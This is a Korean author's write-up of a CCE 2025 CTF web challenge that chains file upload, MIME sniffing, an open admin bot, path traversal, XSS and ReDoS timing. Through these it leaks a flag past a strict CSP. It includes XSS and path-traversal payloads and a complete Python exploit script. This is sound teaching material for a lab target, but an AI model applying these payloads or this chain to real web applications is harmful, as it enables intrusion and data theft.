Post

CCE 2025 광명국제공항 write-up

Information

CCE 2025 본선에 출제했던 광명국제공항 문제에 대한 출제자 write-up입니다.

Write-up

해당 문제는 공항 예약 서버와 불편사항 접수 서버가 각각 3000번 포트와 5000번 포트에서 실행중입니다.
먼저 reservation 서버의 기능을 살펴보면 항공권 예약 기능이 존재합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// routes/reservation.js
const uploadDir = path.join(__dirname, '..', 'uploads');
if (!fs.existsSync(uploadDir)) fs.mkdirSync(uploadDir);

const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, uploadDir);
    },
    filename: function (req, file, cb) {
        const raw = Date.now() + '-' + Math.round(Math.random() * 1e6);
        const hash = crypto.createHash('sha256').update(raw).digest('hex');
        const ext = path.extname(file.originalname);

        cb(null, hash + ext);
    }
});
const disallowedExtensions = new Set(['.js', '.mjs', '.cjs']);
const upload = multer({
    storage,
    fileFilter: function (req, file, cb) {
        const ext = path.extname(file.originalname).toLowerCase();
        if (disallowedExtensions.has(ext)) {
            return cb(null, false);
        }
        cb(null, true);
    }
});
(...)
router.post('/create', ensureAuth, upload.array('documents'), async (req, res) => {
    const { flightId, passengers } = req.body;

    if (!mongoose.isValidObjectId(flightId)) {
        return res.redirect('/reservation/create?error=invalidFlightId');
    }

    const flight = await Flight.findById(flightId);
    if (!flight) {
        return res.redirect('/reservation/create?error=flightNotFound');
    }

    const numPassengers = Number(passengers);
    if (!Number.isFinite(numPassengers) || numPassengers < 1) {
        return res.redirect('/reservation/create?error=invalidPassengers');
    }

    const documentPaths = Array.isArray(req.files)
        ? req.files.map(f => path.join('uploads', f.filename))
        : [];
    await Reservation.create({
        userId: req.session.userId,
        flightId,
        passengers: numPassengers,
        documents: documentPaths
    });
    res.redirect('/reservation');
});

항공편의 ID를 검증한 뒤에 항공권을 예약합니다.
이때 사용자는 파일을 업로드할 수 있고, 업로드하는 파일에는 제약이 없습니다.
또한 파일명은 (hash).ext 형삭으로 저장되며 해당 파일명은 예약 조회 페이지에서 확인할 수 있습니다.

1
2
3
4
5
6
7
8
<% if (Array.isArray(item.documents) && item.documents.length) { %>
    <div>
        제출서류:
        <% item.documents.forEach(function(doc, idx){ %>
        <a href="/<%= doc %>" target="_blank" class="chip">파일 <%= idx + 1 %></a>
        <% }) %>
    </div>
<% } %>

이렇게 업로드 된 파일은 uploads/를 통해 접근이 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.get('/uploads/:filename', (req, res) => {
    try {
        const filename = req.params.filename;
        const uploadsDir = path.join(__dirname, "uploads");
        const filePath = path.normalize(path.join(uploadsDir, filename));

        if (!filePath.startsWith(uploadsDir)) return res.status(400).send("잘못된 파일 경로 요청입니다.");
        if (!fs.existsSync(filePath)) return res.status(404).send("파일을 찾을 수 없습니다.");
        if (fs.statSync(filePath).size > 1024 * 1024 * 5) return res.status(413).send("파일 크기가 너무 큽니다.");

        const data = fs.readFileSync(filePath);
        res.write(data);
        return res.end();
    } catch (err) {
        console.error(err);
        res.status(500).send("읽기 오류가 발생했습니다.");
    }
});

해당 라우트의 동작은 fs를 통해서 파일을 읽어서 해당 파일의 내용을 res.write()를 통해 작성한뒤 res.end()를 통해 요청을 종료합니다.
startWith()을 통해 업로드 폴더 밖으로 빠져나가지 못하도록 방어하므로 Path Traversal 공격은 불가능합니다.
이때 no-sniff헤더나 Content-Type 헤더를 지정하지 않았기 때문에 브라우저에서 내용을 sniffing 하여 타입을 결정합니다.

chromium의 sniffing 동작을 정의한 코드를 아래 주소에서 살펴볼 수 있습니다.
https://source.chromium.org/chromium/chromium/src/+/main:net/base/mime_sniffer.cc

브라우저의 Sniffing 동작코드 중 집중해야할 코드는 595번째 라인입니다.
https://source.chromium.org/chromium/chromium/src/+/main:net/base/mime_sniffer.cc;l=595

1
2
3
4
if (LooksLikeBinary(content)) {
    result->assign("application/octet-stream");
    return true;
}

파일의 content가 LooksLikeBinary()의 조건을 만족시키면 mimetype을 application/octet-stream으로 설정합니다.
mimetype이 application/octet-stream인 파일을 전달받은 브라우저는 기본적으로 해당 내용을 실행이나 해석하지 않고 다운로드 합니다.
아래는 LooksLikeBinary() 함수의 코드입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bool LooksLikeBinary(std::string_view content) {
  // The definition of "binary bytes" is from the spec at
  // https://mimesniff.spec.whatwg.org/#binary-data-byte
  //
  // The bytes which are considered to be "binary" are all < 0x20. Encode them
  // one bit per byte, with 1 for a "binary" bit, and 0 for a "text" bit. The
  // least-significant bit represents byte 0x00, the most-significant bit
  // represents byte 0x1F.
  const uint32_t kBinaryBits =
      ~(1u << '\t' | 1u << '\n' | 1u << '\r' | 1u << '\f' | 1u << '\x1b');
  for (char c : content) {
    uint8_t byte = static_cast<uint8_t>(c);
    if (byte < 0x20 && (kBinaryBits & (1u << byte)))
      return true;
  }
  return false;
}

해당 함수는 몇개의 제어문자를 제외한 특정범위의 제어문자가 파일 내용에 포함되어있는지 확인합니다.
따라서 파일 내용에 특정범위의 제어문자를 넣어서 브라우저가 해당 응답 본문을 파일로 다운로드 하도록 만들 수 있습니다.
다운로드를 트리거하는 URL은 board 서버의 CSP를 우회하는데 활용됩니다.

다음으로 board 서버의 코드를 살펴봅니다. 해당 서버의 경우 자신이 예매한 항공편에 대해서 불편사항을 전달할 수 있는 complaint 기능이 존재합니다.

1
2
3
4
5
6
7
8
router.get('/:id', ensureAuth, async (req, res) => {
    if (!mongoose.isValidObjectId(req.params.id)) return res.status(400).send('Invalid id.');

    const item = await Complaint.findById(req.params.id)
        .populate({ path: 'reservationId', populate: { path: 'flightId', model: 'Flight' } });
    if (!item) return res.status(404).send('not found');
    res.render('complaint/view', { req, item });
});

여기서 렌더링하는 view.ejs의 경우 HTML문자를 그대로 출력하므로 HTML 태그를 삽입할 수 있습니다.

1
2
3
4
5
6
7
8
<div class="mt-12 whitespace-prewrap"><%- item.content %></div>
<div class="mt-16">
    <a href="/complaint" class="btn">목록</a>
    <form method="GET" action="/complaint/call" class="inline-form">
        <input type="hidden" name="url" value="<%= item._id %>">
        <button class="btn">관리자 호출</button>
    </form>
</div>

하지만 board 서버의 경우 CSP가 강하게 설정되어 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app.use(session({
    secret: process.env.SECRET_KEY || "SESSION_SECRET",
    resave: false,
    saveUninitialized: false,
    store: MongoStore.create({ mongoUrl }),
    cookie: { httpOnly: true }
}));
app.use((req, res, next) => {
    res.setHeader("X-Frame-Options", "deny");
    res.setHeader("Content-Security-Policy", "default-src 'self'; base-uri 'none'");

    next();
});
(...)
app.get('/flag', [ensureAuth, ensureAdmin], (req, res) => {
    return res.json({ flag: process.env.FLAG });
});

default-srcself 이므로 scriptimage 등을 모두 해당 board 서버에서 가져와야 하고 connect-srcself 이므로 외부로 fetch 요청 등도 불가능합니다.
그리고 세션 쿠키의 경우 HTTP Only가 켜져있어 javascript에서 접근이 불가능합니다.

쿠키를 얻지 않아도 /flag 엔드포인트가 board 서버에 있기 때문에 XSS가 발생하면 fetch를 통해 FLAG를 읽어올 수 있습니다.
하지만 CSP에 의해 해당 board 서버 밖으로 FLAG를 유출할 수 없고 board 서버 내부에도 FLAG를 전달할만한 기능이 없으므로 FLAG를 알아낼 방법을 찾아야 합니다.

다음으로 살펴볼 기능은 관리자 호출 기능입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get('/call', ensureAuth, async (req, res) => {
    const botPath = path.join(__dirname, '..', 'utils', 'bot.js');
    let url = req.query.url;

    if (mongoose.isValidObjectId(url)) url = "http://localhost:3000/complaint/" + url;

    const child = spawn('xvfb-run', ['-a', 'node', botPath, url], {
        stdio: ['ignore', 'pipe', 'pipe'],
        detached: true,
    });

    return res.send('관리자를 호출하였습니다.');
});

url 쿼리를 통해서 관리자에게 URL을 전달하는데 이때 원래는 complaint의 object ID가 들어가야 하지만 else 처리가 되어있지 않아서 어떤 URL을 입력해도 BOT이 방문하게 됩니다.
하지만 특정 URL을 입력하더라도 board 컨테이너의 iptables 규칙에 따라 BOT이 해당 URL 접속에 실패할 수 있습니다.

1
2
3
4
5
6
# entrypoint.sh
iptables -P OUTPUT DROP
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -p tcp -d 192.168.200.10 --dport 27017 -j ACCEPT
iptables -A OUTPUT -p tcp -d 192.168.200.100 --dport 3000 -j ACCEPT

해당 규칙을 해석해보면 loopback 인터페이스와 192.168.200.10(db), 192.168.200.100(reservation)의 특정 포트를 제외하면 OUTPUT이 금지되어 있습니다.
BOT의 경우 컨테이너 내부에서 실행되므로 해당 규칙에 영향을 받습니다.

또한 BOT은 xvfb를 통해 headful로 실행됩니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
puppeteer.use(require('puppeteer-extra-plugin-user-preferences')({
    userPrefs: {
        safebrowsing: {
            enabled: false,
            enhanced: false
        }
    }
}));

const browser = await puppeteer.launch({
    executablePath: '/usr/bin/chromium',
    headless: false,
    args: [
        '--no-sandbox', '--disable-dev-shm-usage',
        '--no-first-run', '--no-default-browser-check', '--disable-extensions'
    ],
});

safe-browsing이 꺼진채로 위와 같은 옵션을 사용하여 BOT이 구동됩니다.
BOT이 headful chromium을 사용하므로 따로 CDP(Chrome DevTools Protocol)를 설정하지 않아도 다운로드가 발생하면 ~/Downloads 경로에 파일이 저장됩니다.
이를 이용해서 reservation 서버에 파일 다운로드가 트리거되는 파일을 업로드 하고, 해당 URL을 BOT에게 전달하여 /root/Downloads 경로에 파일을 업로드합니다.
이렇게 업로드된 파일을 불러올 수 있는경우 CSP의 self에 위배되지 않습니다.
따라서 해당 파일을 불러올 수 있는경우 script 실행 등이 가능합니다.

아래는 board 서버의 static 라우트의 코드입니다.

1
2
3
4
5
6
7
8
9
10
11
router.get('/*', (req, res) => {
    const requested = req.params[0] || '';
    const staticRoot = path.resolve(path.join(__dirname, '..', 'static'));
    const candidate = path.resolve(path.join(staticRoot, requested));

    return res.sendFile(candidate, (err) => {
        if (err) {
            return res.status(err.statusCode || 404).send('not found');
        }
    });
});

해당 라우트의 경우 경로에 아무런 제약이 없으므로 Path traversal 공격이 가능합니다.
해당 라우트를 통해서 업로드했던 파일에 접근할 수 있습니다.

1
/static/..%2f..%2froot/Downloads/(filename)

따라서 아래와 같은 내용의 파일을 reservation 서버에 업로드하고 BOT에게 URL을 전달하여 board 서버에 업로드한 뒤 complaint 기능을 이용하여 XSS를 트리거할 수 있습니다.
이때 파일 업로드시 .js 확장자명이 필터링되는데 mimetype중 audio/*, image/*, video/*, text/csv를 제외하면 어떤 minetype도 script태그의 src값으로 제공될 수 있습니다.
/staticsendFile()은 파일명을 통해 확장자를 추출하므로 .html같은 확장자의 파일을 업로드하여 반환되는 mimetype을 text/html로 설정하여 공격이 가능합니다.

1
/*\x00*/alert(1);
1
<script src="http://localhost:5000/static/..%2f..%2froot/Downloads/(hash).html"></script>

이때 src값의 도메인이 localost이므로 BOT에게 전달하는 URL도 http://localhost:5000/complaint/(objectID) 형식이 되어야 합니다.

하지만 CSP와 iptable 규칙때문에 fetchlocation.href값을 바꾸는 등의 행위를 통해서 외부로 FLAG를 유출하는것은 사실상 불가능합니다.
이를 우회하기 위해서 board 서버 내부의 취약점을 활용합니다.
routes/auth.js를 보면 회원가입시 email을 검증하는 regex가 존재함을 확인할 수 있습니다.

1
2
3
4
5
const emailRegex = /^([a-z0-9]+)+@[a-z0-9]+\.[a-z]+$/i;
(...)
if (!emailRegex.test(email)) {
    return res.status(400).render('auth/register', { error: '이메일 형식이 올바르지 않습니다.' });
}

해당 regex의 경우 [영문/숫자]+@[영문/숫자]+\.[영문]+ 형식의 문자열인지 확인하지만 ([a-z0-9]+)+와 같이 작성되어있으므로 Backtracking으로 인해 redos가 발생합니다.
Node.js의 경우 단일 스레드기반 이벤트루프 모델을 사용하므로 CPU를 많이 소모하는 작업이 이벤트 루프를 점유하면 다른 요청의 처리가 지연됩니다. 따라서 의도적으로 Redos 취약점을 트리거 하여 서버 지연을 통한 Information Leak이 가능해집니다.
아래는 XSS를 통해 Redos를 트리거하는 방법입니다.

1
2
3
4
5
6
7
8
9
10
const num = Array.from({ length: 5 }, () => Math.floor(Math.random() * 10)).join("");
const params = new URLSearchParams();
params.append("username", "test" + num);
params.append("password", "test");
params.append("email", "a".repeat(32) + "!");

fetch('/auth/register', {
    method: 'POST',
    body: params
});

해당 JS를 실행시켜 /auth/register에 존재하는 redos를 트리거하여 서비스를 지연시키는 것으로 FLAG를 한글자씩 Leak하는것이 가능합니다.

아래는 FLAG의 n번째 자리의 문자열이 N인 경우 Redos를 트리거하여 지연을 일으키는 payload 입니다.
(💡 payload의 강도는 서버 환경에 따라 조정합니다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*\x00*/(async () => {
    const res = await fetch('/flag', {
        credentials: 'include'
    });
    const data = await res.json();
    if (data.flag[n] === 'N') {
        const num = Array.from({ length: 5 }, () => Math.floor(Math.random() * 10)).join("");
        const params = new URLSearchParams();
        params.append("username", "test" + num);
        params.append("password", "test");
        params.append("email", "a".repeat(32) + "!");

        fetch('/auth/register', {
            method: 'POST',
            body: params
        });
    }
})();

이러한 방식으로 FLAG를 한글자씩 LEAK하여 FLAG를 획득합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
import requests
import random
import threading
import time
import re

reservation = 'http://localhost:3000'
reservation_internal = 'http://192.168.200.100:3000'
board = 'http://localhost:5000'
board_internal = 'http://192.168.200.200:5000'

reservation_session = requests.Session()
board_session = requests.Session()

threshold = 31

def get_temp_session(username, password):
    s = requests.Session()
    s.post(f"{board}/auth/login",
           data={"username": username, "password": password},
           headers={"Connection": "close"},
           timeout=(3, 30))
    return s

def reservation_register(username, password, email):
    res = reservation_session.post(f"{reservation}/auth/register", data={
        "username": username,
        "password": password,
        "email": email
    }, timeout=60)

    return True

def reservation_login(username, password):
    res = reservation_session.post(f"{reservation}/auth/login", data={
        "username": username,
        "password": password
    })

    return True

def board_login(username, password):
    board_session.post(f"{board}/auth/login", data={
        "username": username,
        "password": password
    })

    return True

def download(fileHash):
    board_session.get(f"{board}/complaint/call?url={reservation_internal}{fileHash}")

    return True

def reservation_create_flight(flight_id, passengers, i):
    for j in range(16):

        char = charset[j]
        files = [
            ("documents",("test.html", """/*\x00*/(async () => {
            const res = await fetch('/flag', {
                credentials: 'include'
            });
            const data = await res.json();
            if (data.flag["""+ str(i) + """] === '""" + char + """') {
                const num = Array.from({ length: 5 }, () => Math.floor(Math.random() * 10)).join("");
                const params = new URLSearchParams();
                params.append("username", "test" + num);
                params.append("password", "test");
                params.append("email", "a".repeat(""" + str(threshold) + """) + "!");

                fetch('/auth/register', {
                    method: 'POST',
                    body: params
                });
            }
        })();""", "text/plain"))
        ]

        res = reservation_session.post(
            f"{reservation}/reservation/create",
            data={
                "flightId": flight_id,
                "passengers": passengers
            },
            files=files,
            allow_redirects=False
        )

        fileHash = getFileHash()
        download(fileHash)
        complaint_create(f"{i}_{char}", """<script src="http://localhost:5000/static/..%2f..%2froot/Downloads/""" + fileHash.replace("/uploads/", "") + """"></script>""")
        time.sleep(1)

    return True

def getFileHash():
    res = reservation_session.get(f"{reservation}/reservation")
    
    pattern = r'href="(/uploads[^"]+)"'
    matches = re.findall(pattern, res.text)

    return matches[0]

def get_reservation_id():
    res = board_session.get(f"{board}/complaint/create")
    pattern = r'value="([^"]+)"'
    matches = re.findall(pattern, res.text)

    return matches[0]

def complaint_create(title, content):
    board_session.post(f"{board}/complaint/create", data={
        "reservationId": get_reservation_id(),
        "title": title,
        "content": content
    })
    
    return True

def get_flight_id():
    res = reservation_session.get(f"{reservation}/reservation/create")
    pattern = r'value="([^"]+)"'
    matches = re.findall(pattern, res.text)

    return matches[0]

def get_complaint_id_list():
    res = board_session.get(f"{board}/complaint")
    pattern = r'href="(/complaint/[0-9a-fA-F]{24})"'
    matches = re.findall(pattern, res.text)

    return matches

def call_complaint(session, complaint_id):
    session.get(f"{board}/complaint/call?url=http://localhost:5000{complaint_id}",timeout=60)

def leakFlag():
    complaint_id_list = get_complaint_id_list()

    for i in range(16):
        complaint_id = complaint_id_list[i]

        temp_session = get_temp_session(username, password)
        temp_session_2 = get_temp_session(username, password)

        threading.Thread(
            target=call_complaint, 
            args=(temp_session, complaint_id),
            daemon=True
        ).start()

        time.sleep(2)

        start = time.time()
        temp_session_2.get(f"{board}", timeout=60)
        end = time.time()

        print(end - start)

        if end - start > 3:
            return charset[::-1][i]

        time.sleep(1)

username = "dummy" + str(random.randint(1000, 9999))
password="dummy"
charset = "0123456789abcdef"
flag="cce2025{"

print(username, password)
reservation_register(username, password, f"{username}@example.com")
reservation_login(username, password)
board_login(username, password)

reservation_register("test", "test", f"{"a"*(threshold-1)}!")

flight_id = get_flight_id()

for i in range(len(flag), 24):
    reservation_create_flight(flight_id, 1, i)
    time.sleep(10)
    flag += leakFlag()
    print(f"[+] Leaking Flag: {flag}")
    
print(f"[+] Final Flag: {flag}"+"}")
This post is licensed under CC BY 4.0 by the author.

Trending Tags